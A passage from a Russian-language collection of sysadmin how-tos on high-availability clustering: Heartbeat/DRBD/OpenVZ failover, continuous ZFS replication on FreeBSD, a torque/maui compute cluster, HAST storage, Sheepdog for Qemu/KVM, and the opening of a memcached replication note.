    Файлы ha.cf также должны совпадать с точностью до параметров метода контроля
    состояния соседнего узла кластера (в нашем примере используется метод ucast,
    для которого обязательно указать IP другого узла кластера - при использовании
    других методов файлы ha.cf на обоих узлах кластера обычно совпадают).
    
    Пример содержимого файла authkeys: 
    
       auth 1
       1 sha1 4ffb8d2d786ba67772045b2eeac899ed
    
    Команда для генерации ключа, помещаемого в файл файла authkeys: 
    
       (dd if=/dev/urandom bs=1024 count=1 2>/dev/null) | md5sum
    
    Пример файла haresources, настроенного для нашего случая: 
    
       deimos drbddisk::db     Filesystem::/dev/drbd0::/Data/db       openvz::101
       phobos drbddisk::apps   Filesystem::/dev/drbd1::/Data/apps     openvz::102
    
    Здесь предполагается наличие в каталоге /etc/ha.d/resource.d следующих скриптов: 
    
    drdbdisk - управление DRBD 
    
    Filesystem - обеспечение монтирования файловой системы 
    
    openvz - управление виртуальными окружениями OpenVZ 
    
    Скрипты drdbdisk и Filesystem поставляются в составе пакета heartbeat-2 ОС Debian GNU/Linux 5.0. 
    
    Скрипт openvz приводим здесь:
    
       #!/bin/bash
       #
       # This script is inteded to be used as resource script by heartbeat
       #
       ###
    
       VZCTL="/usr/sbin/vzctl"
    
       if [ "$#" -eq 2 ]; then
         RES="$1"
         CMD="$2"
       else
         RES="101"
         CMD="$1"
       fi
    
       case "$CMD" in
           start)
               $VZCTL start $RES
               ;;
           stop)
               $VZCTL stop $RES
               ex=$?
               case $ex in
               0)
                    exit 0
                    ;;
               *)
                    exit 1
                    ;;
               esac
               ;;
          status)
            ST=$( $VZCTL status $RES 2>&1 )
            STATE=$( echo "$ST" | (read s1 s2 s3 s4 st && echo $st) )
            case $STATE in
                    running)
                            echo "running"
                            exit 0 # LSB status "service is OK"
                            ;;
                    down)
                            echo "stopped" ;;
                    *)
                            echo "stopped ($ST)" ;;
            esac
            exit 3 # LSB status "service is not running"
               ;;
          *)
            echo "Usage: openvz resource {start|stop|status}"
            exit 1
            ;;
       esac
       exit 0
    
    
    Примеры файлов ha.cf на серверах phobos и deimos: 
      
    На сервере deimos: 
    
       keepalive    1
       deadtime    15
       warntime     5
       initdead   120
    
       ucast eth0 192.168.5.102
    
       auto_failback on
       watchdog /dev/watchdog
    
       node deimos
       node phobos
      
    На сервере phobos: 
    
       keepalive    1
       deadtime    15
       warntime     5
       initdead   120
    
       ucast eth0 192.168.5.101
    
       auto_failback on
       watchdog /dev/watchdog
    
       node deimos
       node phobos
    
    
    Дополнительные настройки Heartbeat 
    
    Крайне желательно в промышленной конфигурации настроить отдельный канал
    контроля состояния серверов (например, на основе соединения через COM-порты).
    Для реализации такой схемы потребуется изменение настроек в файле ha.cf.
    
    Также крайне желательно обеспечить функционирование STONITH-устройства. Как
    минимум должно быть настроено аварийное завершение работы узлов кластера путём
    входа через SSH (STONITH-модуль external/ssh), идеальным же вариантом является
    подача команды в систему управления электропитанием либо в отдельный блок
    управления состоянием сервера (iLo, ...).
    
    
    Тестирование кластера 
    
    Для тестирования необходимо сымитировать стандартные ситуации: 
    
    1.Выключение узла deimos 
    2.Включение узла deimos через некоторое время 
    3.Выключение узла phobos 
    4.Включение узла phobos через некоторое время 
    5.Одновременная загрузка узлов кластера 
    6.Загрузка узлов кластера с задержкой относительно друг друга 
    
    В случае реализации описанных выше дополнительных настроек Heartbeat также
    полезно выполнить дополнительные тесты:
    
    1. Нарушение сетевого взаимодействия между узлами кластера (возможно - при
    сохранении доступа к ним из внешних сетей)
    
    Обслуживание: расширение DRBD-дисков 
    
    Для расширения доступного виртуальным окружениям дискового пространства в
    группе томов LVM, в которой были созданы тома DRBD, должно быть достаточное
    свободное пространство.
    
    Подключение дополнительных дисков 
    
    В случае отсутствия достаточного свободного пространства можно расширить группу
    томов путём включения в неё дополнительных физических томов. Для этого
    необходимо, чтобы к используемым серверам были подключены необходимые дисковые
    устройства. В большом числе случаев для подключения дополнительных дисков будет
    необходимо выполнить остановку соответствующего сервера, в нашем случае эту
    операцию можно выполнить без длительного перерыва в предоставлении сервисов
    пользователям, за счёт использования возможностей кластера.
    Пример сценария добавления дисков: 
    
    1.Остановить (выключить) сервер deimos. Все сервисы мигрируют на сервер phobos. 
    
    2.Добавить дополнительные диски в сервер deimos, выполнить необходимые
    настройки BIOS и контроллеров для обеспечения доступа к дискам.
    
    3.Включить сервер deimos. Дождаться синхронизации томов DRBD (контроль по
    содержимому файла /proc/drbd) и завершения обратной миграции части сервисов
    обратно на сервер deimos.
    
    4.Остановить (выключить) сервер phobos. Все сервисы мигрируют на сервер deimos. 
    
    5.Добавить дополнительные диски в сервер phobos. 
    
    6.Включить сервер phobos. 
    
    При выполнении работ по подключению дисков по описанному выше сценарию в нашем
    случае будет два перерыва в предоставлении сервисов пользователям, каждый из
    перерывов в пределах 1 минуты.
    
    Подключенные дополнительные диски необходимо разметить и разместить на них
    физические тома LVM. Для разметки дисков используем программу GNU Parted, если
    она не установлена - устанавливаем её командой aptitude install parted. Пример
    команд для выполнения разметки диска:
    
       deimos:~# parted /dev/sdc
       GNU Parted 1.8.8
       Using /dev/sdc
       Welcome to GNU Parted! Type 'help' to view a list of commands.
       (parted) print
       Error: /dev/sdc: unrecognised disk label
       (parted) mklabel
       New disk label type? msdos
       (parted) mkpart primary 1s
      -1s 
       (parted) set 1 lvm on
       (parted)
       print
       Model: ATA VBOX HARDDISK (scsi)
       Disk /dev/sdc: 2147MB
       Sector size (logical/physical): 512B/512B
       Partition Table: msdos
    
       Number  Start  End     Size    Type     File system  Flags
       1      512B   2147MB  2147MB  primary               lvm  
    
       (parted) quit
       Information: You may need to update    /etc/fstab.
    
       deimos:~# 
    
    Для создания физического тома LVM и включения его в необходимую группу томов используем команды: 
    
       pvcreate /dev/sdc
       vgextend Data /dev/sdc
    
    
    Расширение файловых систем виртуальных окружений 
    
    Для расширения файловой системы конкретного виртуального окружения следует
    последовательно выполнить три операции:
    
    1.Увеличить размер тома LVM 
    2.Расширить том DRBD 
    3.Расширить файловую систему 
    
    Все три операции могут быть выполнены без приостановки сервисов кластера,
    однако должны выполняться строго при наличии в составе кластера двух
    работоспособных узлов.
    
    Увеличение размера тома LVM выполняется на обоих узлах кластера командой
    lvextend. Пример увеличения размера тома LVM виртуального окружения db на 1 Гбайт:
    
    На сервере phobos
    
       lvextend -L+1G /dev/VGroup00/db
    
    На сервере deimos
    
       lvextend -L+1G /dev/VGroup00/db
    
    Операция расширения тома DRBD выполняется синхронно на обоих узлах кластера, и
    должна инициироваться выполнением команды drbdadm resize. Данная команда должна
    быть выполнена на узле кластера, являющемся основным (primary) для
    соответствующего тома. Пример выполнения команды (в нашем случае - на сервере deimos):
    
       drbdadm resize db
    
    Выполнение данной команды приведёт к началу синхронизации между узлами
    добавленного пространства логического тома, прогресс синхронизации можно
    отследить по содержимому файла /proc/drbd.
    Расширение файловой системы производится путём выполнения команды resize2fs.
    Данная команда также должна быть выполнена на узле кластера, являющемся
    основным (primary) для соответствующего тома, и может выполняться без
    размонтирования файловой системы. Пример выполнения команды (в нашем случае -
    на сервере deimos):
    
       resize2fs /dev/drbd0
    
     
    ----* Непрерывная репликация ZFS во FreeBSD   Автор: Алексей Волков  [комментарии]
     
    Введение
    
    С самого начала появления ZFS, я записался в ряды ее поклонников, и до сих пор
    ни разу не пожалел об этом. И на страницах opennet.ru я уже успел поделиться
    приятными моментами ее использования на OS FreeBSD.
    
    Сегодня речь пойдет о возможностях непрерывной репликации ZFS между хостами FreeBSD.
    
    Цели
    
    Лично мне это стало не просто полезным, а необходимым, как только возникла
    задача использования виртуальных окружений, и в рамках одного физического
    сервера создавалась группа виртуальных серверов.
    
    Первоначальная задумка выглядела следующим образом:
    
    
    * Основной сервер виртуализации
    * Сервер горячей замены (по своим характеристикам близкий, но не идентичный основному)
    * Коммерческое ПО для виртуализации, не предполагалось, только OpenSource.
    
    Задача абсолютной бесперебойной работы не ставилась, основной критерий -
    быстрое (в пределах  5 минут) время восстановления IT сервисов в случае отказа
    основного сервера, с минимальной потерей пользовательских данных. Другими
    словами, если основной сервер выходит из строя, то все данные пользователей,
    сохраненные за несколько минут до отказа, не должны быть утеряны.
    
    Вариант с общим NAS, разделяемый между серверами виртуализации, по ряду причин,
    в том числе и финансовых, так же не рассматривался.
    
    Таким образом, данную конфигурацию можно кратко охарактеризовать, как среда
    виртуализации начального уровня с элементами отказоустойчивости.
    
    
    Средства
    
    В качестве хост системы выступает FreeBSD 8.1 с гипервизором VirtualBox OSS.
    
    Я не буду подробно останавливаться на процессе установки и настройки
    VirtualBox, скажу только то, что оба сервера и основной и резервный имеют
    идентичное ПО, а все конфигурации и образы виртуальных серверов расположены
    внутри ZFS с точкой монтирования /var/IMAGES.
    
    В таком виде, задача обеспечения отказоустойчивости сводится к синхронизации
    содержимого /var/IMAGES с основного сервера на резервный, чтобы в случае
    отказа, оставалась возможность запуска всех серверов на резервном сервере из
    актуальных образов.
    
    Очевидным является тот факт, что чем чаще происходит синхронизация, тем лучше.
    Так же очевидно что rsync, не смотря на все его прелести, не способен
    обеспечить синхронизацию заданными выше временными рамками.
    Беглый поиск выявляет упоминания о коммерческих реализациях zfs репликации а
    так же стандартных возможностях ZFS создания,  и что самое важное, обмена ими
    между хостами посредством zfs send/receive. Об этом упоминалось, в том числе и на
    страницах opennet.
    
    Именно zfs send/receive будет использован для непрерывной репликации в режиме
    близкому к реальному времени.
    
    Репликацией должен заниматься скрипт, запускаемый из cron, интервал запуска 1 минута.
    
    Скрипт запускается на резервном сервере и должен:
    
    * Создать новый снапшот на основном сервере.
    * Все снапшоты, задействованные в процессе репликации, должны иметь некую
    отличительную особенность (префикс в своем имени).
    * Выявить самый свежий общий снапшот, относительно которого, можно провести
    инкрементальную репликацию. В случае его отсутствия провести полную репликации.
    * Провести репликацию через send/receive
    * Удалить неиспользуемые снапшоты.
    * Запротоколировать все свои действия.
    
    Как видно из краткого плана мероприятий, резервному серверу придется запускать
    команды на основном. SSH замечательно справиться с этим, но нужно иметь ввиду что:
    
    * запускать через скрипт команды на удаленном сервере от имени рута ( а значит
    хранить или пароль или ключ рута) не слишком хорошая идея.
    * ZFS на FreeBSD до сих пор не дружит с ZFS Delegated Administration
    
    Учитывая эти два факта, следует завести на основном сервере на
    привилегированного пользователя и выполнять команды zfs через sudo , разрешив
    ему необходимый минимум.
    
    В файле /usr/local/etc/sudoers.d/zfs_replication определяем для пользователя следующие разрешения
    
       synczfs      ALL = NOPASSWD : /sbin/zfs snapshot *, /sbin/zfs send *,/sbin/zfs list *,/sbin/zfs destroy *
    
    А теперь непосредственно скрипт /root/zfs-nrt-replication.sh
    
       #!/bin/sh
       REMOTE_HOST="master.local"
       FS="/var/IMAGES"
       REMOTE_POOL="tank0"
       LOCAL_POOL="tank0"
       SNAPSHOTMARK="SYNC-"
    
    
       SSHKEY="/root/syncimages_id"
       SSHFLAGS="-i $SSHKEY -o CheckHostIP=no -o StrictHostKeyChecking=no \
       -o IdentitiesOnly=yes -o BatchMode=yes -o  GlobalKnownHostsFile=/dev/null -l synczfs"
       SSHCMD="/usr/bin/ssh $SSHFLAGS $REMOTE_HOST sudo "
       INCREMENTAL=""
    
       (
    
       echo "Snapshoting remote FS"
    
       $SSHCMD "zfs snapshot -r $REMOTE_POOL$FS@$SNAPSHOTMARK`uuidgen`"
    
       RECENT_COMMON_SNAPSHOT=""
    
       for R in `$SSHCMD zfs list -H -o name -s creation -t snapshot -r $REMOTE_POOL$FS | grep $REMOTE_POOL$FS@`
       do
          for L in `zfs list -H -o name -s creation -t snapshot -r $LOCAL_POOL$FS | grep $LOCAL_POOL$FS@`
          do
              if [ "${R##*@}" = "${L##*@}" ]; then
                 RECENT_COMMON_SNAPSHOT=${R##*@}
                 INCREMENTAL="-I $REMOTE_POOL$FS@$RECENT_COMMON_SNAPSHOT"
              fi
          done
          REMOTE_LATEST_SNAPSHOT=${R##*@}
       done
    
       echo "Syncronizing remote FS to local"
    
       echo "zfs send -R $INCREMENTAL $REMOTE_POOL$FS@$REMOTE_LATEST_SNAPSHOT"
    
       $SSHCMD "zfs send -R $INCREMENTAL $REMOTE_POOL$FS@$REMOTE_LATEST_SNAPSHOT" | \
       /usr/local/bin/pipemeter --autooff --blocksize 16M --interval 60 --log | zfs receive -dF $LOCAL_POOL
    
       if [ $? -eq 0 ]; then
          echo "Cleaning useless remote snapshots"
          $SSHCMD "zfs list -r -t snapshot -o name -H $REMOTE_POOL$FS  | grep \"$SNAPSHOTMARK\" | \
          egrep -v  \"@($RECENT_COMMON_SNAPSHOT|$REMOTE_LATEST_SNAPSHOT)\" | xargs -I% sudo zfs destroy %"
       fi
    
       echo "Done."
       ) 2>&1 | logger -s -p ftp.info -t SYNCZFS
    
    Сам скрипт запускается на резервном сервере из cron следующим образом
    
       */1 * * * * root  /usr/sbin/daemon -p /var/run/zfs-sync.pid -f /root/zfs-nrt-replication.sh > /dev/null
    
    Итак, на резервном сервере скрипт запускается каждую минуту, но если он еще не
    закончил свое выполнение с прошлого запуска, то попытка пропускается.  Весь
    вывод скрипта направляется в лог-файл /var/log/xferlog. Для более наглядной
    оценки скорости используется дополнительное ПО pipemeter, в результате чего
    в лог файл, с минутным интервалом, добавляется информация об объеме
    передаваемых данных, а так же скорости обмена.
    
    Дополнительно, можно настроить автоматический снапшотинг, чтобы иметь версии
    виртуальных машин различной степени давности (часовой, дневной, недельной и
    т.д.). Эти версии так же будут реплицироваться на резервный сервер.
    
    И теперь, в случае обнаружения отказа в работе основного сервера,
    администратору остается запустить виртуальную машину на резервном сервере, но и
    этот процесс так же можно автоматизировать, но это материал еще для одной
    статьи :)
    
     
    ----* Настройка вычислительного кластера на базе torque/maui (доп. ссылка 1)   Автор: Sergey Korablin  [комментарии]
     
    Цель: объединить несколько серверов в один вычислительный кластер, предоставить
    пользователям простой способ запуска вычислительных задач не конфликтуя друг с
    другом. Для этого необходимы несколько серверов под управлением Linux(ниже
    описывается установка на RedHat), быстрый канал между серверами, ПО для
    организации очереди, вычислительное ПО умеющее распараллеливать вычисление на
    несколько узлов (например с помощью mpi).
    
    Установка и настройка ПО
    
    Torque - менеджер ресурсов, отвечает за отслеживание доступного количества
    ресурсов на узлах кластера и запуск задач.
    
    Первым шагом устанавливаем torque на управляющую ноду. Скачиваем исходники с
    http://www.clusterresources.com. Установка происходит обычным для Linux способом:
    
       tar -xzvf torque-2.x.x.tgz
       cd torque-2.x.x
       ./configure --prefix=/usr/local
       make
       make install или make rpm 
       (во втором случае будет собран rpm пакет который затем можно установить)
    
    Копируем скрипты запуска сервера pbs.
    
       cp contrib/init.d/pbs_server /etc/init.d/
    
    В файл /var/spool/torque/server_priv/nodes добавляем все узлы нашего кластера и
    указываем специфичные для этих узлов параметры. Параметры для описания узлов
    можно добавлять самостоятельно какие вам необходимы: архитектура узла (x86,
    sparc, ...), способ подключения к сети (ethernet, infiniband, ...) и т.п. Пример:
    
       s200 np=4 arch=x86_64
       s200-01 np=2 arch=x86_32
       s200-02 np=2 arch=x86_32
       s200-03 np=4 arch=x86_64
    
    np - количество процессоров на узле.
    
    Запускаем pbs сервер /etc/init.d/pbs_server start
    
    Создадим одну дефолтную очередь batch на сервере.
    
       # qmrg
       create queue batch
       set queue batch queue_type = Execution
       set queue batch resources_default.nodes = 1
       set queue batch resources_default.walltime = 01:00:00
       set queue batch resources_available.nodect = 999999
       set queue batch enabled = True
       set queue batch started = True
       set server acl_hosts = s200
       set server default_queue = batch
       set server log_events = 511
       set server mail_from = adm
       set server scheduler_iteration = 600
       set server node_check_rate = 150
       set server tcp_timeout = 6
       set server next_job_number = 21</i>
    
    Очередей может быть несколько, задачи можно направлять в разные очереди с помощью списков доступа.
    
    Устанавливаем torque на все вычислительные узлы кластера так же как и на
    управляющий узел, единственное необходим скрипт запуска монитора pbs, а не сервера.
    
       cp contrib/init.d/pbs_mon /etc/init.d/
    
    Прописываем на вычислительных узлах в файл /var/spool/torque/mom_priv/config наш pbs сервер:
    
       $pbsserver      s200              # s200 - указываем управляющий узел
       $logevent       255               # bitmap of which events to log</i>
    
    Запускаем pbs_mon 
    
       /etc/init.d/pbs_mon start
    
    Правильно будет установить и настроить все необходимое ПО на один
    вычислительный узел, а затем клонировать ее на остальные узлы кластера.
    
    Если все сделано правильно, на управляющем узле можно выполнить команду
    "pbsnodes -a", вывод должен быть примерно следующий:
    
       s200
       state = free
       np = 4
       ntype = cluster
       status = opsys=linux,uname=Linux s200 2.6.9-67.0.15.ELsmp #1 SMP Tue Apr 22 13:58:43 EDT 2008 x86_64,sessions=4793 6052
          9319,nsessions=3,nusers=2,idletime=7,totmem=16343180kb,availmem=15996556kb,physmem=8150040kb,ncpus=4,
         loadave=0.00,netload=13384946066,state=free,jobs=,varattr=,rectime=1240470984
    
       s200-01
       state = free
       np = 2
       ntype = cluster
       status = opsys=linux,uname=Linux s200-01 2.6.9-67.0.15.ELsmp #1 SMP Tue Apr 22 13:58:43 EDT 2008 x86_64,sessions=? 
         0,nsessions=? 0,nusers=0,idletime=153089,totmem=12231176kb,availmem=12080240kb,physmem=4038036kb,ncpus=2,loadave=0.00,
         netload=251768374518,state=free,jobs=,varattr=,rectime=1240470944
    
       s200-02
       state = free
       np = 2
       ntype = cluster
       status = opsys=linux,uname=Linux s200-02 2.6.9-67.0.15.ELsmp #1 SMP Tue Apr 22 13:58:43 EDT 2008 x86_64,sessions=? 
         0,nsessions=? 0,nusers=0,idletime=76890,totmem=12231176kb,availmem=12037100kb,physmem=4038036kb,ncpus=2,
    loadave=0.00,netload=272192353204,state=free,jobs=,varattr=,rectime=1240470956
       ...
    
    
    Запустим какую-нибудь задачу на выполнение (для запуска залогинтесь под обычным
    пользователем, не под root-ом):
    
       $ su - testuser
       $ echo "sleep 20" | qsub
       22.s200
    
    Проверим состояние:
    
       $ qstat 
       Job id                    Name             User            Time Use S Queue
    ------------------------- ---------------- --------------- -------- - -----
       22.s200                   STDIN            testuser              0 Q batch          
    
    
    Задача будет висеть в очереди но не выполниться, так как у нас не установлен и
    не настроем менеджер очереди. Вообще torque содержит свой шедулер (pbs_sched),
    но он имеет ограниченный функционал и настройки. Мы будем использовать более
    развитый шедулер - Maui.
    
    Пока удалим наше задание:
    
       $ qdel 22.s200
    
    
    Установка менеджера очереди Maui
    
    Maui занимается тем, что опрашивает torque на предмет наличия свободных
    ресурсов и задач в очереди которые необходимо выполнить. На основе полученных
    данных и своих настроек, он принимает решение о запуске какой-либо задачи и
    посылает команду серверу torque выполнить ее. Maui позволяет гибко настроить
    различные стратегии заполнения кластера, приоритеты для задач по различным
    критериям: количеству запрашиваемых ресурсов, принадлежности пользователя к
    какой-то группе и т.д.
    
    Скачиваем исходники с сайта http://www.clusterresources.com/ и устанавливаем на
    управляющей ноде (теоретически можно установить куда угодно, но чтобы не
    усложнять установим там же где и сервер torque). Настройка maui производится в
    файле /usr/local/maui/maui.cfg Большую часть настроек сделает конфигуратор во
    время установки. Далее для интеграции maui с torque надо указать, что мы
    используем менеджер ресурсов PBS (torque): RMCFG[S200] TYPE=PBS
    
    Получаем примерно следующий минимальный конфиг:
    
       SERVERHOST            s200
       ADMIN1                root
       RMCFG[S200]           TYPE=PBS
       AMCFG[bank]           TYPE=NONE
       RMPOLLINTERVAL        00:00:30
       SERVERPORT            42559
       SERVERMODE            NORMAL
       LOGFILE               maui.log
       LOGFILEMAXSIZE        10000000
       LOGLEVEL              3
       QUEUETIMEWEIGHT       1 
       BACKFILLPOLICY        FIRSTFIT
       RESERVATIONPOLICY     CURRENTHIGHEST
       NODEALLOCATIONPOLICY  MINRESOURCE
    
    Запускаем maui:
    
       # maui
    
    Еще раз запустим тестовую задачу:
    
       $ echo "sleep 20" | qsub
       23.s200
    
    qstat должна показать, что задача встала в очередь (статус Q), затем статус
    должен поменяться на R (выполняется) и через 20 секунд задача должна из очереди
    исчезнуть. Если все прошло так как описано выше - мы в шаге от финала. Остается
    только прикрутить выполнение полезной задачи к нашему кластеру.
    
    
    PBS скрипты
    
    Для запуска задач будем использовать PBS скрипты. PBS-скрипт - это обычный
    shell скрипт в котором в виде специальным образом оформленных комментариев
    начинающихся с #PBS можно передать менеджеру ресурсов необходимые параметры,
    например: количество узлов и процессоров необходимых на задачу, количество
    оперативной памяти, архитектуру узлов, время расчета и далее скрип и/или
    программы которые необходимо выполнить на кластере.
    
    Оформим тестовую задачу в виде PBS скрипта.
    
       $ cat test.pbs
       #!/bin/sh
       #PBS -N test
       #PBS -l nodes=2:ppn=4,walltime=00:00:50
       #PBS -m abe
       #PBS -M testuser@localhost
       #PBS -V
       echo "File containing nodes:"
       echo $PBS_NODEFILE
       echo "Nodes for computing:"
       cat $PBS_NODEFILE
       sleep 20
    
    Значение параметров:
    
        * -N - название задания, носит информативный характер
        * -l - список ресурсов необходимых для выполнения вычисления
        * -m - в каких случаях слать пользователю почтовое уведомдение 
          (a - задача отменена, b - задача начала выполняться, e- задача завершена).
        * -M - на какой ящик отправлять уведомления.
        * -V - экспортировать переменные окружения в скрипт. 
    
    запуск задания:
    
       $ qsub test.pbs
    
    При выполнении этого скрипта доступна одна важная переменная окружения
    устанавливаемая менеджером ресурсов, это $PBS_NODEFILE. Переменная содержит
    путь к файлу со списком узлов которые выделены нам для расчета в соответствии с
    нашими запросами. Далее в зависимости от того как наше ПО производит
    распараллеливание - обрабатываем в своем скрипте $PBS_NODEFILE и запускаем
    необходимый расчет указывая свой программе на каких узлах и сколько процессоров
    она может использовать. Правильно будет вынести все эти вычисления в отдельный
    скрипт доступный пользователям для запуска, который будет вызываться
    пользователями из своих PBS скриптов. Пример:
    
       #!/bin/bash
       #PBS -N test_2
       #PBS -l nodes=2:ppn=4,walltime=00:00:50
       #PBS -m abe
       #PBS -M testuser@localhost
       #PBS -V
       #тут пользователь может установить свои переменные окружения необходимые для вычисления, например путь к данным
       export DATADIR='/home/testuser/data'
       ...
       #запускаем скрипт/программу которая обработает переменные и запустит вычисление на нужных узлах
       /data/bin/my_super_programm
    
     
    ----* Создание отказоустойчивых хранилищ во FreeBSD, при помощи HAST (доп. ссылка 1)   Автор: mef  [комментарии]
     
    Введение.
    
    HAST (Highly Avalible Storage) технология позволяющая создавать
    отказоустойчивые хранилища (Primary-Secondary) используя несколько машин. Эта
    технология может помочь при создании кластера высокой доступности (HA). HAST
    появился в FreeBSD начиная с 8.1. В текущей версии HAST можно использовать
    только две машины. HAST работает на уровне блоков и не зависит от файловой
    системы, т.е. можно использовать ZFS или UFS.
    
    Эта технология работает по TCP. Для работы используется демон hastd и утилита
    для управления hastctl.
    
    Использование.
    
    Имеем две машины (ноды)
       host1 192.168.1.2
       host2 192.168.1.9
    
    на обоих машинах стоит дополнительный диск ad3.
    HAST готов к использованию сразу, без дополнительных установок. Для
    конфигурирования создадим файл /etc/hast.conf
    
       resource my {
           on host1 {
                   local /dev/ad3
                   remote 192.168.1.9
           }
           on host2 {
                   local /dev/ad3
                   remote 192.168.1.2
           }
       }
    
    т.е. host1 имеет диск ad3 и синхронизируется с 192.168.1.9 (host2), а для host2
    соответственно наоборот.
    
    Сделайте такой же файл на другой машине.
    
       host1# hastctl create my
       host1# hastd
    
    После этого демон должен запустится, проверим, что все работает
    
       host1# hastctl status
    
    должно выдать вроде этого
    
       my:
       role: init
       provname: my
       localpath: /dev/ad3
       extentsize: 0
       keepdirty: 0
       remoteaddr: 192.168.1.2
       replication: memsync
       dirty: 0 bytes [/CODE]
    
    Сделаем такие же действия на другой ноде
    
       host2# hastctl create my
       host2# hastd [/CODE]
    
    Теперь раздадим роли машинам. Например, host1 будет главным, а host2 - резервным.
    
       host1# hastctl role primary my
       host2# hastctl role secondary my
    
    После того, как host2 стал secondary, должна начаться синхронизация. В первый
    раз она не должна занять много времени.
    Проверим, что все работает.
    
       host1# hastctl status
       my:
        role: primary
        provname: my
        localpath: /dev/ad3
        extentsize: 2097152
        keepdirty: 0
        remoteaddr: 192.168.1.9
        replication: memsync
        status: complete
        dirty: 0 bytes
    
    Для нас важно, чтобы был статус complete. Если статус другой, проверяем, что не так.
    
    Теперь создадим файловую систему. Не смотря на то что можно использовать UFS
    лучше использовать ZFS, чтобы не приходилось запускать fsck.
    
    Создадим пул используя появившееся устройство /dev/hast/my
    
       host1# zpool create mydisk /dev/hast/my
       host1# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    95G  84.5K    95G     0%  ONLINE  -
    
    На второй машине этого делать не надо.
    HAST настроен.
    
    Тестирование.
    
    Создадим несколько файлов в mydisk и протестируем нашу систему. Для
    тестирования перезагрузим ноду с primary, т.е. host1.
    После перезагрузки посмотрим состяние пула
    
       host1# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    -               -             -         -       FAULTED          -
    
    Это случилось потому что пропало устройство /dev/hast/my Экспортируем пул и
    поменяем роль host1 на secondary
    
       host1# zpool export -f my
       host1# hastctl role secondary my
    
    А host2 сделаем основным и импортируем пул.
    
       host2# hastctl role primary my
       host2# zpool import -f mydisk
       host2# zpool list
       NAME     SIZE   USED  AVAIL    CAP  HEALTH  ALTROOT
       mydisk    95G    84.5K    95G     0%    ONLINE          -
    
    Проверим наши файлы, они должны остаться.
    
    Ошибки.
    
    По умолчанию логи можно посмотреть в /var/log/message.
    В результате некоторых действий можно добиться ситуации, когда вы обнаружите в
    логах запись Split brain - разделение сознания.
    
    Это означает, что каждая из нод думает, что она главная и живет собственной
    жизнью. Такое может произойти если вы умудритесь
    записать разную информацию на нодах или поставить обои машины в роль primary.
    Исправить эту ситуацию можно выбрав ту машину которая будет у вас secondary, и
    нужно сделать на ней:
    
       hastctl role init my
       hastctl create my
       hastctl role secondary my
    
    После этого должен запуститься процесс синхронизации. Он может занять продолжительное время.
    
    
    Автоматизация.
    
    Эта система сделана для кластеризации, а именно для кластера высокой
    доступности. Например можно воспользоваться CARP
    чтобы сделать постоянным. Можно написать собственные скрипты, а можно
    воспользоваться стандартными. Автором HAST уже написаны готовые скрипты которые
    умеют определять на какой ноде сейчас primary.
    
    Для работы следует установить ucarp:
    
       cd /usr/ports/net/ucarp
       make && make install clean && rehash
    
    Скрипты находятся в /usr/share/expamles/hast/
    Скопируйте их в /домашний каталог/sbin/hastd/ так предлагается по умолчанию и
    отредактируйте переменные в начале скриптов
    
       ucarp.sh, ucarp_down.sh, ucarp_up.sh
    
    Сделайте это на обоих нодах и запустите ucarp.sh на обоих нодах.
    
    Дополнительные возможности.
    
    У HAST существует три типа репликаций. Они различаются тем когда данные считаются записанными.
    
    * memsync - Данные операции записи считаются завершенными когда запись локальна завершена 
    и когда удаленный узел принял данные, но до того как записать данные. Данные на
    удаленной ноде начинают
    писаться, как только отправлен ответ.
    
    * fullsync - Данные операции записи считаются завершенными когда запись завершена локально и на 
    удаленной ноде запись тоже завершена.
    
    * async - Данные записи считаются завершенными когда запись завершена локально.
    Это наиболее быстрый способ записи.
    
    На момент написания статьи работает только memsync.
    Дополнительную информацию можно прочитать на http://wiki.freebsd.org/HAST
    
    Заключение.
    
    HAST только появился, у него богатые возможности для организации хранилища
    высокой доступности. В данный момент еще не все работает, но это хорошее начало
    для кластеризации на FreeBSD.
    
    Перед тем как работать с HAST в боевых условиях рекомендую потренироваться. У
    меня были ситуации, когда secondary не хотел брать данные с primary, было что
    неаккуратные движения приводили к "Split Brain". Данные, правда, потеряны не
    были, но много времени было потеряно на синхронизации.
    
     
    ----* Запуск виртуальных машин Qemu и KVM в распределенном хранилище Sheepdog (доп. ссылка 1)   [комментарии]
     
    Пример настройки Sheepdog в Fedora Linux для организации выполнения в Qemu или
    KVM  виртуального окружения поверх распределенного на несколько машин
    высоконадежного хранилища Sheepdog (подробнее см. http://www.opennet.dev/27251/ )
    
    
    Устанавливаем и запускаем кластерный движок Corosync (http://www.corosync.org/)
    на всех узлах кластера хранения:
    
       yum install corosync
       service corosync start
    
    После интеграции sheepdog-драйвера в состав пакета qemu и qemu-kvm, достаточно будет выполнить:
    
       yum install qemu-kvm
    
    (сейчас еще нужно собирать драйвер из исходных текстов)
    
    
    Запускаем на каждом узле кластера хранения управляющий процесс Sheepdog,
    передав в качестве аргумента директориею для хранения объектов в локальной ФС каждого узла:
    
       sheep /store
    
    Форматируем и настраиваем параметры кластера хранения, указываем дублирование
    каждого блока данных на три разных узла:
    
       collie cluster format --copies=3
    
    Создаем в распределенном хранилище дисковый образ, размером 256Гб, для
    виртуальной машины с именем Alice:
    
       qemu-img create sheepdog:Alice 256G
    
    Импортируем существующий образ виртуальной машины в распределенное хранилище с именем Bob:
    
       qemu-img convert ~/amd64.raw sheepdog:Bob
    
    Смотрим список активных хранилищ:
    
       collie vdi list
    
       Bob          0  2.0 GB  1.6 GB  0.0 MB 2010-03-23 16:16      80000
       Alice        0  256 GB  0.0 MB  0.0 MB 2010-03-23 16:16      40000
    
    Запускаем виртуальную машину:
    
       qemu-system-x86_64 sheepdog:Alice
    
    Создаем снапшот виртуальной машины Alice:
    
       qemu-img snapshot -c name sheepdog:Alice
    
    Параллельно запускаем созданный снапшот:
    
       qemu-system-x86_64 sheepdog:Alice:1
    
    Клонируем снапшот Alice:1 в новую виртуальную машину Charlie
    
       qemu-img create -b sheepdog:Alice:1 sheepdog:Charlie
    
    Просматриваем состояние узлов кластера:
    
       collie node list
    
     
    ----* Организация мульти-мастер репликации двух memcached-серверов (доп. ссылка 1)   [комментарии]
     
    Для организации автоматической репликации данных между двумя серверами
    memcached (http://memcached.org/) можно использовать набор патчей
    http://repcached.lab.klab.org/ . Система поддерживает мульти-мастер режим и
    реплицирует данные в асинхронном режиме, поддерживаются все команды memcached
    (set, add, delete, incr/decr, flush_all, cas).
    
    Например, используя репликацию удобно организовать синхронизированное хранение
